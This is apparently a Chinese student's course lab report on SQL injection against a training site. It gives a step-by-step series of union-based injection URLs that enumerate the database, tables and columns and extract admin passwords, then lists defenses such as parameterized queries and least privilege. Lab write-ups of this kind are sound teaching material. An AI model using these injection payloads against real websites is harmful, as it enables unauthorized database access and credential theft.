**《网络空间安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | |  | | **年级** | |  |
| **学号** | |  | | **专业、班级** | |  |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** |  | | **实验地点** | |  | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的   * 学习并掌握SQL注入的基本原理和方法 * 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  对以下网站进行SQL注入：http://pu2lh35s.ia.aqlab.cn/，完成以下信息的获取：   1. 数据库名称 2. 数据库中的所有表的名称 3. 每个表中的字段数量以及字段名 4. 管理员用户密码   最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验设计  SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。SQL注入是将Web页面的原URL、表单域或数据包输入的参数修改并拼接成SQL语句，然后传递给Web服务器，进而传给数据库服务器以执行数据库命令。例如，如果Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取数据库的信息并提权，发生SQL注入攻击。 | | | | | | |
| 1. 实验过程或算法 2. **准备工作：**   进入http://pu2lh35s.ia.aqlab.cn/，点击蓝色交互按钮：    观察到网页呈现出一些介绍性内容，同时链接变为http://pu2lh35s.ia.aqlab.cn/?id=1：    据此猜测该网址采用GET方式传递请求，基于此尝试进行单双引号闭合检查：      可以看到无论是传入单引号还是双引号，页面均未返回任何内容，说明SQL查询异常，据此可以推断该网站不存在单双引号闭合，可以直接注入SQL代码。  进一步的，可以使用order by语句判断该SQL语句查询的字段数，并通过二分查找法加速该过程。依次尝试访问：  <http://pu2lh35s.ia.aqlab.cn/?id=1> order by 1  <http://pu2lh35s.ia.aqlab.cn/?id=1> order by 1,2,3  <http://pu2lh35s.ia.aqlab.cn/?id=1> order by 1,2        可以看到，当测试字段数大于2时，网页访问异常。说明该SQL语句所查询的表格字段数为2。   1. **获取数据库名称：**     结合上述信息，使用联合查询union查询该网站的数据库名称，并使用恒假语句0=1筛除第一个select的查询结果：  <http://pu2lh35s.ia.aqlab.cn/?id=1> and 0=1 union select 1,database()    根据查询结果可知该网站数据库名称为maoshe。   1. **获取数据库中的所有表的名称：**   可以通过访问<http://pu2lh35s.ia.aqlab.cn/?id=1> and 0=1 union select 1,table\_name from information\_schema.tables where table\_schema=’maoshe’来获得数据库中所有表的名称：    根据查询结果可知，该网站的数据库中存在一张名称为admin的表。通常情况下，数据库中存储的表数量都不止1张，因此可以通过添加limit n,m后缀，例如：  <http://pu2lh35s.ia.aqlab.cn/?id=1> and 0=1 union select 1,table\_name from information\_schema.tables where table\_schema=’maoshe’ limit 1,1    来获取从第n+1张开始的m张表格名称，共计4张，依次为admin，dirs，xss和news。   1. **获取每个表中的字段数量以及字段名：**   类似的，可以通过<http://pu2lh35s.ia.aqlab.cn/?id=1> and 0=1 union select 1, column\_name from information\_schema.columns where table\_name=’admin’来获得admin表中所有字段的名称：    根据查询结果可知，该admin表的第一个字段为id。仍然通过limit方法遍历admin表字段，并通过修改table\_name=’admin’为其他表名称，易得每个表中的字段数量以及字段名依次为：  admin：id,username,password  dirs：paths  news：id,content  xss：id,user,pass   1. **获取管理员用户密码：**   同样的，可以通过http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,group\_concat(username) from admin来获得admin表中username列的所有项：    可以看到管理账户名称依次为：admin，ppt领取微信。进一步的，通过将username替换为password可知，上述两个账户的密码分别为hellohack和zkaqbanban： | | | | | | |
| 五、实验过程中遇到的问题及解决情况  **问题1：**  部分情况下，limit n,m语句返回的表项只显示第1项，无法一次性得到所有的表项信息。  **原因和解决办法：**  使用limit n,1依次遍历数据库表，直到返回值为空。此时n表示该表的表项总数；或使用group\_concat()将查询结果合并到1项中再进行输出。 | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  **（一）实验结果**   1. **数据库名称：**   maoshe。   1. **数据库中的所有表的名称：**   admin，dirs，news，xss。   1. **每个表中的字段数量以及字段名：**   admin：id,username,password  dirs：paths  news：id,content  xss：id,user,pass   1. **管理员账户和密码：**   (admin, hellohack)  (ppt领取微信, zkaqbanban)  **（二）分析和总结**  对SQL注入攻击进行防范包括但不限于以下方法：   1. 在编写SQL语句时，应避免直接将变量插入到SQL语句中，而应使用参数化查询或预编译语句，确保用户输入的数据被当作数据处理，而不是可执行代码，从而防止SQL注入。例如，在Java中，可以使用PreparedStatement对象；在Python的SQLite库中，可以使用问号（?）作为参数占位符。   2. 对用户输入进行严格的验证和过滤，确保只有符合预期的数据格式和类型的输入被接受。  3. 使用白名单策略，只允许特定的字符或字符集通过验证。对于特殊字符（如单引号、双引号、分号等），应进行转义或替换。  4. 数据库连接应遵循最小权限原则，即只授予必要的权限。例如，如果某个应用程序只需要读取数据，那么就不应授予写入数据的权限。  5. 避免在应用程序中直接显示数据库错误消息，因为这可能会暴露数据库的结构和版本信息，从而增加被攻击的风险。应使用自定义的错误消息来通知用户发生了错误，同时记录详细的错误信息以供管理员审查。  6. 使用Web应用防火墙（WAF）检测和阻止常见的SQL注入。WAF可以监控和分析应用程序的流量，并自动识别和拦截恶意请求。  7. 使用ORM框架（如Hibernate、Entity Framework等）帮助开发者减少直接与数据库交互的机会，从而降低SQL注入的风险。ORM框架通常会自动处理输入验证、参数绑定等安全问题。  8. 保持数据库管理系统和应用程序的最新版本，及时修补已知的安全漏洞。使用监控工具来监控数据库和应用程序的活动，及时发现并应对异常行为。定期审计数据库和应用程序的安全性，检查是否存在潜在的安全风险。 | | | | | | |